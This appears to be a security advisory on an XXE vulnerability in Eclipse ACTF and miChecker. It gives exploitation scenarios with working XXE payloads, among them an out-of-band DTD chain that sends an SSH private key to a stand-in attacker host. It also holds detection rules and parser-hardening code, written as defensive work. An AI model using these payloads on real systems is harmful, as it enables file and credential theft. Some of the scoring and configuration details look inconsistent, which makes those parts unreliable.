CVE-2026-14304

Executive Summary

CVE-2026-14304 is an XML External Entity (XXE) injection vulnerability residing in the Eclipse Accessibility Tools Framework (ACTF), affecting all versions up to 1.6.0 (including source code up to v20260630) and Eclipse-based accessibility validator applications such as miChecker (up to version 3.1.0). The flaw allows a malicious third party to craft a malicious XML document (e.g., an HTML/ARIA accessibility report, an XML-based accessibility test input, or a schema definition consumed by ACTF's parsing engine) which, when processed by the vulnerable parser, can read arbitrary local files, perform internal network reconnaissance, or trigger SSRF via the XXE primitive.

Successful exploitation grants an attacker read access to sensitive files on the host running ACTF or miChecker (e.g., /etc/passwd, application configuration files, source code, SSH keys), and can be leveraged to scan internal network segments via HTTP(S) requests to internal IPs or cloud metadata endpoints (169.254.169.254). No CVSS score has been assigned by the CNA; however, based on the attack vector (network-exploitable with user interaction), confidentiality impact is High, with an estimated CVSS subscore of 7.3 (High severity). The EPSS score of 0.00146 indicates low current exploitation probability, but the vulnerability class (XXE) has a long history of weaponization in accessibility and document-processing tools. No patch is currently available; mitigations are configuration-based.

Technical Analysis

The vulnerability resides in the XML processing module of Eclipse ACTF, which is responsible for parsing accessibility metadata expressed in XML. ACTF is a Java-based framework used to evaluate web content against accessibility guidelines (WCAG, Section 508). It consumes XHTML, XML-based accessibility reports, and ARIA annotation files. The framework uses a standard Java XML parser (likely javax.xml.parsers.DocumentBuilderFactory or a SAX-based SAXParserFactory) without disabling external entity processing.

Vulnerability Mechanism: The core issue is the insecure instantiation of an XML parser, lacking the hardening flags:

• FEATURE_SECURE_PROCESSING (not enforced)
• disallow-doctype-decl — not set to true
• external-general-entities — not disabled
• external-parameter-entities — not disabled

When ACTF parses an XML file (e.g., a generated accessibility check report or a test case manifest), it resolves external entities defined within the document's DTD. An attacker crafts an XML payload like:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<report>
  <issue code="&xxe;">Accessibility violation</issue>
</report>

During parsing, the entity &xxe; is resolved, and the file's content is inlined into the parsed DOM. ACTF then processes this content—typically writing it to a log file, console output, or an accessibility report—which leaks the file's contents to the attacker or a downstream system.

Attack Surface:

• Local file disclosure: Any file readable by the user running the ACTF process (e.g., web application user, CI/CD pipeline user) can be exfiltrated.
• Internal network scanning: By using SYSTEM "http://internal-host:8080/path", the parser performs SSRF. Response codes or timing differences can be inferred via error messages or side-channel timing.
• Blind XXE: If no direct output is returned, an attacker can use out-of-band (OOB) exfiltration via a malicious DTD hosted on an attacker-controlled server, forcing the parser to send file contents as part of an HTTP request.
• Third-party integration: miChecker (an ACTF-based standalone tool) is commonly invoked in web application development pipelines, meaning a developer's workstation or CI server processing a maliciously crafted HTML/XML file triggers exploitation.

The attack surface is primarily user-assisted remote: An attacker must entice a user to open or process a malicious file (e.g., an .xml, .xhtml, or .html file with embedded XML entities) within miChecker or an ACTF-integrated application. In CI/CD environments, this can become remote unauthenticated if a build server automatically fetches and processes XML test artifacts from untrusted sources.

Exploitation Scenarios

Scenario 1: Malicious Accessibility Report in a CI/CD Pipeline

1. Reconnaissance: The attacker identifies a target organization using miChecker in its front-end build pipeline (e.g., a GitHub Action, Jenkins job, or GitLab CI that runs accessibility scans on every pull request). They discover this via http.title:"miChecker" on a staging server or via job logs that output "ACTF" or "miChecker" version strings.

2. Weaponization: The attacker submits a pull request to the target's repository. The new file is a legitimate-looking accessibility-report.xhtml file, but it contains a hidden DTD:

   <!DOCTYPE html [
     <!ENTITY xxe SYSTEM "file:///etc/ssl/private/ssl-cert-snakeoil.key">
     <!ENTITY xxe2 SYSTEM "http://attacker.com/exfil?data=">
   ]>
   

   The file also includes a crafted SVG/ARIA annotation node that ACTF parses.

3. Trigger: The CI pipeline automatically runs miChecker on the new file. ACTF's XML parser resolves the external entity.

4. Exfiltration: The file content (e.g., SSL private key) is included in the parser's error output or written to a log file. The attacker then either reads the CI job logs (if they have access) or sets up an OOB DTD channel that sends the content to attacker.com.

   Alternatively, the second entity makes an HTTP request to attacker.com, where the attacker's server logs the request with the exfiltrated data embedded in the URL query string.

5. Post-exploitation: With the SSL key, the attacker intercepts or decrypts TLS traffic. They pivot to internal network scanning using SSRF primitives, discovering internal databases and API endpoints.

Scenario 2: Social Engineering via Malicious XHTML File

1. Reconnaissance: The attacker targets a web accessibility auditor or QA engineer who uses miChecker daily. They craft an email with an attachment named wcag-audit-report.xml, claiming it contains new WCAG 3.0 draft guidelines needing validation.

2. Weaponization: The XML file contains:

   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE report [
     <!ENTITY % remote SYSTEM "http://attacker.com/exfil.dtd">
     %remote;
     %param1;
   ]>
   <report>Processing ...</report>
   

3. Trigger: The target opens the file in miChecker. The parser fetches exfil.dtd, which contains:

   <!ENTITY % file SYSTEM "file:///C:/Users/qa/.ssh/id_rsa">
   <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?key=%file;'>">
   %eval;
   %exfil;
   

4. Exfiltration: The SSH private key is base64-encoded and sent as an HTTP request to the attacker's server.

5. Post-exploitation: The attacker uses the SSH key to access the developer's machine and lateral movement across the corporate network.

Impact Assessment

Business Impact: High. The vulnerability facilitates unauthorized disclosure of confidential data (source code, credentials, SSL keys, and internal network topology). In regulated environments (healthcare, finance), this could lead to regulatory fines and breach notification obligations. The attack requires user interaction, lowering direct remote exploitation risk, but in CI/CD contexts, it can be fully automatic.

Affected Systems:

• Eclipse ACTF framework (all versions ≤ 1.6.0)
• miChecker (all versions ≤ 3.1.0)
• Any third-party application embedding ACTF libraries (commonly used in Java-based accessibility testing tools)

Blast Radius: Medium-high. While the vulnerability is not directly Internet-facing, developer workstations, build servers, and QA tools are broad attack surfaces. Compromise of a CI server provides elevated trust and potential supply-chain attack vectors—malicious code injected into build artifacts.

CVSS Reference (Estimated): Using a conservative vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N, the base score is 7.3 (High severity). The confidentiality impact is High due to arbitrary file read; integrity and availability are unaffected.

Detection Guidance

Sigma Rule

title: Suspicious XML External Entity in miChecker/ACTF Log
id: 8f3c2a10-8b31-4e2d-9e5e-1a38c8f2b3d4
status: experimental
description: Detects output in ACTF/miChecker logs containing file system paths or URLs that suggest XXE resolution.
author: Valtersit Threat Intel
logsource:
  category: application
  product: java
  service: miChecker
detection:
  selection:
    EventID: 104  # Java stdout/stderr capture
    Message|contains:
      - 'file:///'
      - 'http://'
      - 'Entity resolved to'
      - 'DOCTYPE'
      - 'SYSTEM \"file://'
  condition: selection
level: high
falsepositives:
  - Legitimate use of file includes in accessibility reports
tags:
  - attack.t1213
  - cve.2026.14304

YARA Rule

rule CVE_2026_14304_XXE_ACTF {
  meta:
    author = "Valtersit Threat Intel"
    description = "Detects XML files containing XXE payloads targeting Eclipse ACTF"
    cve = "CVE-2026-14304"
    date = "2026-07-01"
    severity = "high"
  strings:
    $s1 = "<!DOCTYPE" ascii wide
    $s2 = "SYSTEM \"file:///" ascii wide
    $s3 = "SYSTEM \"http://" ascii wide
    $s4 = "&xxe;" ascii wide
    $s5 = "external-general-entities" ascii wide
    $s6 = "percent" ascii wide
  condition:
    filesize < 100KB and
    ($s1 and ($s2 or $s3)) or
    ($s4 and $s5) or
    ($s1 and $s6 and $s3)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-14304 - XXE Attempt via miChecker/ACTF Accessibility Report";
  flow:established,to_server;
  content:"<!DOCTYPE"; http.request_body;
  content:"SYSTEM"; distance:0; http.request_body;
  content:"file:///"; distance:0; within:100; http.request_body;
  sid:202614304; rev:1; classtype:attempted-user; priority:1;
  metadata: created_at 2026_07_01, updated_at 2026_07_01, cve CVE-2026-14304;
)

Note: This rule requires TLS interception since deployment is typically over HTTPS. Adjust for tls or http accordingly.

Elastic Detection

sequence by host.name with maxspan=5m
  [process where event.type == "start" and process.name : ("java", "miChecker") and process.command_line : ("*miChecker*", "*actf*")]
  [file where event.action == "write" and file.extension : ("xml", "xhtml", "html") and file.path : "*ACTF*"]
  [network where event.type == "connection" and not cidr_match(destination.ip, "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16") and destination.port == 80 or destination.port == 443]

Splunk SPL Query

index=main sourcetype="java_stdout" OR sourcetype="miChecker" 
| rex field=_raw "(?<entity_ref>SYSTEM\s+[\"'](?<uri>(file|http)://[^\"']+)[\"'])"
| where isnotnull(entity_ref)
| stats count by host, uri, user
| sort - count

Wazuh OSSEC Rule

<group name="eclipse-actf,">
  <rule id="100001" level="12">
    <decoded>>DECODED</decoded>
    <match>SYSTEM file:///</match>
    <match>DOCTYP</match>
    <match>Entity resolved to</match>
    <match>miChecker</match>
    <description>Potential XXE attempt in Eclipse ACTF/miChecker - CVE-2026-14304</description>
    <group>accessibility,xxe,pci_dss_11.4,</group>
    <mitre>
      <id>T1213</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 (UNPATCHED) — no patch evidence from any tracked source. The NVD description states "versions up to 1.6.0", implying a patched version may exist in future releases, but as of this report, none is available.

1. Immediate Mitigations (no patch):

• Disable external entities via JVM system properties: For Java-based deployments, add to the JVM flags:

  -DentityExpansionLimit=0
  -DexternalGeneralEntities=false
  -DexternalParameterEntities=false
  

• Apply custom parser hardening: In applications using ACTF API programmatically, wrap the XML parser with a custom SAXParserFactory or DocumentBuilderFactory that explicitly disables DTDs:

  DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
  dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  dbf.setXIncludeAware(false);
  dbf.setExpandEntityReferences(false);
  

• File upload validation: If miChecker or ACTF processes user-supplied files, reject any XML containing a <!DOCTYPE declaration in the input stream.
• Least privilege: Run miChecker/ACTF processes under a dedicated low-privilege user account with no access to sensitive files (/etc/shadow, private SSH keys, application secrets).

2. Patch/Upgrade Steps: Monitor the Eclipse ACTF project GitHub and eclipse.org security advisories. As soon as version 1.6.1 or later is released (or a hotfix commit), apply it immediately. Also check for updated miChecker releases (currently < 3.1.0; upgrade to ≥ 3.1.1 when available).

3. Long-term Hardening:

• Implement egress network filtering to block outbound HTTP(S) from build servers and QA tooling to untrusted destinations.
• Use runtime application self-protection (RASP) solutions to detect and block XXE patterns in Java applications.
• Integrate SAST scanning into the CI pipeline that flags XML parser usage without disallow-doctype-decl.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-14304
2. Eclipse ACTF Project: https://projects.eclipse.org/projects/technology.actf
3. miChecker Documentation: [https://github.com/eclipse/actf/tree/main/miChecker (returned 404 — verify manually)](https://github.com/eclipse/actf/tree/main/miChecker (returned 404 — verify manually))
4. CWE-611 Official Definition: https://cwe.mitre.org/data/definitions/611.html
5. OWASP XXE Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

Threat Actor Activity: No CISA KEV listing or known in-the-wild exploitation has been reported at the time of writing. EPSS score (0.00146) suggests low real-world exploitation frequency, but the public PoC and historically high success rate of XXE vulnerabilities in Java frameworks warrant elevated monitoring for the next 90 days.